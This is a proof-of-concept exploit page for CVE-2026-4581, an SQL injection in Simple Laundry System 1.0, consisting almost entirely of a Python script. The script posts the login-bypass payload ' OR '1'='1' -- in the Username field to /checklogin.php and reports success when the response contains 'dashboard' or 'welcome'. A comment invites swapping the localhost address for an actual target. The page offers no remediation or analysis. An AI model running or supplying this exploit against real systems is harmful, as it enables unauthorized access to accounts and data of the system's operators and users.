CVE-2026-4581 Simple Laundry System SQL注入漏洞

import requests def exploit_sql_injection(target_url): """ PoC for CVE-2026-4581 SQL Injection in Simple Laundry System 1.0 Target: /checklogin.php parameter: Username """ # The vulnerable endpoint url = f"{target_url}/checklogin.php" # SQL Injection payload to bypass login (e.g., ' OR '1'='1) payload = "' OR '1'='1' -- " # Data to be sent in the POST request data = { "Username": payload, "Password": "random_password" } try: response = requests.post(url, data=data, timeout=5) # Check if login was successful (assuming 'dashboard' or 'welcome' appears on success) if response.status_code == 200 and ("dashboard" in response.text.lower() or "welcome" in response.text.lower()): print("[+] Exploit successful! SQL Injection allowed login bypass.") print(f"[+] Response length: {len(response.text)}") else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target exploit_sql_injection(target)